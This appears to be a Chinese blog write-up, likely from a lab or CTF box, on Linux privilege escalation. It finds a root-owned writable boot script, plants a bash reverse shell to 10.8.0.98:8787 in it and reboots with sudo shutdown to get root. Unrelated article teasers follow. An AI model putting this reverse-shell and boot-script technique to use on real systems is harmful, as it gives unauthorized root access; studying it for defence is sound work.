【Linux提权】check-system文件

news/2024/9/18 8:57:36/文章来源:https://www.cnblogs.com/o-O-oO/p/18377831

【此次省略一万字.........】

成功突破边界!

提权:
看了sudo -l,发现一个shutdown命令可以,但是这名字应该是重启吧。。。先跑一跑linpeas.sh,试了一下跑出来的CVE,没有成功

找一找具有root命令并且我们可以写权限的文件:

find / -user root -type f -perm -o=rw -ls 2>/dev/null | grep -v "/proc"

这个命令的目的是查找所有属于 root 用户的、具有写权限的、并且可以被任何用户执行的文件,但排除 /proc 目录中的内容

发现了check-system文件,看了一下内容:

查看资料:

系统启动时启动的程序由systemd , 系统和服务管理器控制。systemd是启动时运行的第一个进程。它始终具有进程ID (PID)1。计算机中正在运行的所有其他进程都是由systemd启动的,或者由systemd已经启动的进程启动。

那就有可能,我们需要以sudo命令运行刚刚上面的shutdown命令,在这个check-system文件里面写入反弹shell脚本,这样系统重启的时候,我们就拿到root提权:

vim.tiny /usr/bin/check-system

(这里有坑,我用find / -perm -u=s -type f 2>/dev/null这个命令找不到vim.tiny,但是它又是存在的,如果直接用vi编辑check-system文件,那就各种BUG,编辑不了,用vim.tiny就可以)

bash -i >& /dev/tcp/10.8.0.98/8787 0>&1;
sudo shutdown -r

等待命令弹回来

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/786581.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

锂电池充电电路 TP4056

1. 主要找了下淘宝比较常用的器件,TP4056芯片。SOP8封装,体积稍微有点大。原理简单,这次就先选上 原理图如下:

【Git操作】回退版本

git reset --soft <commit> git reset --hard <commit>  git reset --mixed <commit> //默认这个版本 首先执行git log 查看本地有那些版本的代码。 执行 git reset --soft c97f6b343c6b6d0497ef6dab98010981af1af404//或者 git reset --soft HEDD^执行这个…

Tarjan 之 割边

图片来源 董晓算法本文来自博客园,转载请注明原文链接:https://www.cnblogs.com/sea-and-sky/p/18377823

PG数据库导致断电/重启无法正常启动问题排查

PG数据库导致断电/重启无法正常启动问题排查 一、问题 数据库断电后,启动PG数据库后无法正常启动,报”psql: could not connect to server: No such file or directory”的错误,错误图片如下:二、背景分析 数据库是单机版,使用k8s进行部署运行在指定节点,数据目录挂服务器…

【AI+框架】人工智能计算平台安全框架应用参考

原创 网络安全等保测评如图B.1所示,各参与方通过服务接口调用AI计算平台提供的相关机制保护其AI核心资产。 各参与方如何调用安全机制 解决相应安全威胁可具体参考表B.1: a) AI应用运行方:基于本文件中定义的服务接口和安全模块实现的功能,保护AI应用安全运行, 抵御针对运行…

053、Vue3+TypeScript基础,页面通讯之$attrs的使用

01、main.js代码如下:// 引入createApp用于创建Vue实例 import {createApp} from vue // 引入App.vue根组件 import App from ./App.vue// 引入emitter用于全局事件总线 // import emitter from @/utils/emitterconst app = createApp(App);// App.vue的根元素id为app app.mou…

C程序设计语言(第2版新版)练习题1-8

练习1-8 编写一个统计空格、制表符与换行符个数的程序。#include <stdio.h>int main(int argc, char *argv[]) {(void)argc;(void)argv;int c;int space = 0;int tab = 0;int line = 0;while((c = getchar()) != EOF) {if (c == ) {space++;}else if (c == \t) {tab++;}…

CMake构建学习笔记3-libpng库的构建

使用CMake构建libpng库的关键过程libpng是一个用于读取、写入 PNG (Portable Network Graphics) 文件格式的开源软件库,有了上一篇笔记作为基础,构建起来也非常简单。还是在源代码的根目录中创建一个build文件夹,执行如下关键指令: # 配置CMake cmake .. -G "$Gener…

初学Java7

初步学习了容器的知识,大概了解了vector的使用,作为练习,完成了一个简陋的车站模拟系统

wsl损坏,WSLRegisterDistribution Failed with Error 0x8007019e

背景 之前由于关机中断还是什么原因,导致wsl不能用了,今天心血来潮想要用一下wsl,于是找办法修了一下。 过程 根据下面这个文章进行修复的。 https://thegeekpage.com/wslregisterdistribution-failed-with-error-0x8007019e/ 我执行了以下操作:关闭linux子系统,重启;开启…

C程序设计语言(第2版新版)练习题1-6

练习1-6 验证表达式getchar()!=EOF的值是0还是1。#include <stdio.h>int main(int argc, char *argv[]) {(void)argc;(void)argv;int c;printf("请输入:");printf("%d\n", (c = getchar()) != EOF);return 0; }运行结果: 输入1 输入ctrl-z

Jenkins报错

[808]There were errors checking the update sites: SSLHandshakeException: sun.secu解决方案 (1)插件管理页面提示:There were errors checking the update sites:IOException:Unable to tunnel through proxy.Proxy returins “HTTP/1.1 400”image (2)插件管理页面提…